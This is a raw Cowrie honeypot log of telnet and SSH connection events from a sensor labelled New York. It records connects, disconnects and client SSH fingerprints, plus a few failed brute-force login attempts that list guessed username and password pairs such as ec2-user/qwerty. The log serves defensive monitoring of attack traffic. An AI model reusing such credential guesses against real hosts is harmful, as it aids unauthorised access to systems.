{"eventid":"cowrie.login.failed","username":"guest","password":"qawzse","message":"login attempt [guest/qawzse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:16.303526Z","src_ip":"202.145.0.61","session":"d94ebc90e279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:17.542480Z","src_ip":"202.145.0.61","session":"d94ebc90e279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44170,"dst_ip":"10.17.0.5","dst_port":23,"session":"43be6a4e209d","protocol":"telnet","message":"New connection: 23.111.140.22:44170 (10.17.0.5:23) [session: 43be6a4e209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:18.273981Z"}
{"eventid":"cowrie.session.closed","duration":31.185723543167114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:18.879891Z","src_ip":"23.111.140.22","session":"0c5ef4c8a936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47034549713135,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:19.002344Z","src_ip":"23.111.140.22","session":"05dd84d49f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"a60d14248f48","protocol":"telnet","message":"New connection: 174.138.46.234:55806 (159.203.135.109:23) [session: a60d14248f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:19.474891Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c95c710fa5","protocol":"telnet","message":"New connection: 174.138.46.234:55832 (159.203.135.109:23) [session: 46c95c710fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:19.529317Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"800824e4f0f8","protocol":"telnet","message":"New connection: 174.138.46.234:56040 (159.203.135.109:23) [session: 800824e4f0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:20.277275Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53404,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf0ded90547","protocol":"telnet","message":"New connection: 23.111.140.22:53404 (10.17.0.5:23) [session: acf0ded90547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:21.378532Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.24.50","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"f452794daa91","protocol":"telnet","message":"New connection: 102.219.24.50:49976 (10.17.0.5:23) [session: f452794daa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:22.491370Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38810,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db8e629c91e","protocol":"telnet","message":"New connection: 23.111.140.22:38810 (10.17.0.5:23) [session: 4db8e629c91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:23.200242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d8b090679a","protocol":"telnet","message":"New connection: 23.111.140.22:43464 (10.17.0.5:23) [session: d9d8b090679a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:24.866297Z"}
{"eventid":"cowrie.session.closed","duration":6.00036358833313,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:25.475146Z","src_ip":"174.138.46.234","session":"a60d14248f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.070750951766968,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:25.599946Z","src_ip":"174.138.46.234","session":"46c95c710fa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.96125864982605,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:26.238430Z","src_ip":"174.138.46.234","session":"800824e4f0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.841824769973755,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:26.483716Z","src_ip":"23.111.140.22","session":"52665f810fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38045072555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:27.793917Z","src_ip":"23.111.140.22","session":"21765b85b2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e7521ac13a","protocol":"telnet","message":"New connection: 23.111.140.22:46814 (10.17.0.5:23) [session: e3e7521ac13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:28.034079Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55484,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecaf54c87f20","protocol":"telnet","message":"New connection: 23.111.140.22:55484 (10.17.0.5:23) [session: ecaf54c87f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:29.142903Z"}
{"eventid":"cowrie.session.closed","duration":31.275917291641235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:32.863882Z","src_ip":"23.111.140.22","session":"48487ace42e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6314582824707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:32.923971Z","src_ip":"23.111.140.22","session":"15e553e27b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366002798080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:35.212005Z","src_ip":"23.111.140.22","session":"94babd65207c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.265377521514893,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:35.756552Z","src_ip":"102.219.24.50","session":"f452794daa91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c6e5542420","protocol":"telnet","message":"New connection: 23.111.140.22:50800 (10.17.0.5:23) [session: 54c6e5542420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:36.496866Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51038,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b75c945fe4","protocol":"telnet","message":"New connection: 23.111.140.22:51038 (10.17.0.5:23) [session: 04b75c945fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:36.569746Z"}
{"eventid":"cowrie.session.closed","duration":38.161131381988525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:38.837233Z","src_ip":"23.111.140.22","session":"bfbd24b588eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998382329940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:39.620257Z","src_ip":"23.111.140.22","session":"17f5bc669053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4131d6ed068f","protocol":"telnet","message":"New connection: 23.111.140.22:58972 (10.17.0.5:23) [session: 4131d6ed068f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:40.029185Z"}
{"eventid":"cowrie.session.closed","duration":31.644450664520264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:40.038096Z","src_ip":"23.111.140.22","session":"7535251a2fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36814,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8745d2be71","protocol":"telnet","message":"New connection: 23.111.140.22:36814 (10.17.0.5:23) [session: 9e8745d2be71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:41.022738Z"}
{"eventid":"cowrie.session.closed","duration":31.28353524208069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:41.565725Z","src_ip":"23.111.140.22","session":"3430777adbc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55580,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6f715696ff","protocol":"telnet","message":"New connection: 23.111.140.22:55580 (10.17.0.5:23) [session: bb6f715696ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:41.954238Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bf6b721047","protocol":"telnet","message":"New connection: 23.111.140.22:59808 (10.17.0.5:23) [session: 57bf6b721047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:42.353988Z"}
{"eventid":"cowrie.session.closed","duration":79.12980937957764,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:45.531930Z","src_ip":"23.111.140.22","session":"f748a5ac2289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54204,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5184c08b64","protocol":"telnet","message":"New connection: 23.111.140.22:54204 (10.17.0.5:23) [session: 3f5184c08b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:47.039881Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55444,"dst_ip":"10.17.0.5","dst_port":23,"session":"96cfc9dbd75d","protocol":"telnet","message":"New connection: 23.111.140.22:55444 (10.17.0.5:23) [session: 96cfc9dbd75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:47.131686Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":37028,"dst_ip":"10.17.0.5","dst_port":22,"session":"368d6d1385ff","protocol":"ssh","message":"New connection: 135.235.138.43:37028 (10.17.0.5:22) [session: 368d6d1385ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:48.835470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:48.841019Z","src_ip":"135.235.138.43","session":"368d6d1385ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:49.028559Z","src_ip":"135.235.138.43","session":"368d6d1385ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User","message":"login attempt [user/User] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:49.806103Z","src_ip":"135.235.138.43","session":"368d6d1385ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00884509086609,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:50.282701Z","src_ip":"23.111.140.22","session":"43be6a4e209d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1745c49d94","protocol":"telnet","message":"New connection: 23.111.140.22:36950 (10.17.0.5:23) [session: ca1745c49d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:50.357432Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:50.995904Z","src_ip":"135.235.138.43","session":"368d6d1385ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15104389190674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:52.529454Z","src_ip":"23.111.140.22","session":"acf0ded90547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34892,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bd6705e37e0","protocol":"telnet","message":"New connection: 23.111.140.22:34892 (10.17.0.5:23) [session: 5bd6705e37e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:53.698982Z"}
{"eventid":"cowrie.session.closed","duration":30.97579073905945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:54.175865Z","src_ip":"23.111.140.22","session":"4db8e629c91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40671372413635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:57.272908Z","src_ip":"23.111.140.22","session":"d9d8b090679a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34224271774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:00.485022Z","src_ip":"23.111.140.22","session":"ecaf54c87f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71473002433777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:00.748699Z","src_ip":"23.111.140.22","session":"e3e7521ac13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48576,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb128a702e3","protocol":"telnet","message":"New connection: 23.111.140.22:48576 (10.17.0.5:23) [session: 2cb128a702e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:02.696699Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49392,"dst_ip":"10.17.0.5","dst_port":23,"session":"9193c730a204","protocol":"telnet","message":"New connection: 23.111.140.22:49392 (10.17.0.5:23) [session: 9193c730a204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:02.927242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53676,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5cca118e127","protocol":"telnet","message":"New connection: 23.111.140.22:53676 (10.17.0.5:23) [session: e5cca118e127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:03.939959Z"}
{"eventid":"cowrie.session.closed","duration":30.64842677116394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:07.218070Z","src_ip":"23.111.140.22","session":"04b75c945fe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36148,"dst_ip":"10.17.0.5","dst_port":23,"session":"576160410b9d","protocol":"telnet","message":"New connection: 23.111.140.22:36148 (10.17.0.5:23) [session: 576160410b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:07.865669Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37150,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f215f35b9be","protocol":"telnet","message":"New connection: 23.111.140.22:37150 (10.17.0.5:23) [session: 9f215f35b9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:08.192899Z"}
{"eventid":"cowrie.session.closed","duration":31.99405837059021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:08.490807Z","src_ip":"23.111.140.22","session":"54c6e5542420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3772fa2db57","protocol":"telnet","message":"New connection: 23.111.140.22:38100 (10.17.0.5:23) [session: a3772fa2db57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.529320Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41340,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b13d8ced715","protocol":"telnet","message":"New connection: 23.111.140.22:41340 (10.17.0.5:23) [session: 0b13d8ced715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.545609Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60210,"dst_ip":"10.17.0.5","dst_port":23,"session":"f970cfe5cebf","protocol":"telnet","message":"New connection: 23.111.140.22:60210 (10.17.0.5:23) [session: f970cfe5cebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.585182Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":58948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c832c527ff44","protocol":"ssh","message":"New connection: 202.145.0.61:58948 (10.17.0.5:22) [session: c832c527ff44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.667166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.674991Z","src_ip":"202.145.0.61","session":"c832c527ff44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.25","src_port":55401,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b0bbf8f892","protocol":"telnet","message":"New connection: 91.196.152.25:55401 (10.17.0.5:23) [session: 26b0bbf8f892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.717626Z"}
{"eventid":"cowrie.session.closed","duration":0.16155052185058594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.879059Z","src_ip":"91.196.152.25","session":"26b0bbf8f892","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.916216Z","src_ip":"202.145.0.61","session":"c832c527ff44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.118","src_port":54245,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cec131adfd3","protocol":"telnet","message":"New connection: 91.196.152.118:54245 (10.17.0.5:23) [session: 6cec131adfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:09.955221Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45372,"dst_ip":"10.17.0.5","dst_port":23,"session":"93acb2a9d210","protocol":"telnet","message":"New connection: 23.111.140.22:45372 (10.17.0.5:23) [session: 93acb2a9d210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:10.816644Z"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"qwerty","message":"login attempt [ec2-user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:10.910326Z","src_ip":"202.145.0.61","session":"c832c527ff44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:12.154147Z","src_ip":"202.145.0.61","session":"c832c527ff44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.19633865356445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:12.225382Z","src_ip":"23.111.140.22","session":"4131d6ed068f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37358,"dst_ip":"10.17.0.5","dst_port":23,"session":"79590b3368bd","protocol":"telnet","message":"New connection: 23.111.140.22:37358 (10.17.0.5:23) [session: 79590b3368bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:12.392635Z"}
{"eventid":"cowrie.session.closed","duration":0.0060732364654541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:12.398427Z","src_ip":"23.111.140.22","session":"79590b3368bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.877908945083618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:36:12.900508Z","src_ip":"23.111.140.22","session":"9e8745d2be71","protocol":"telnet"}
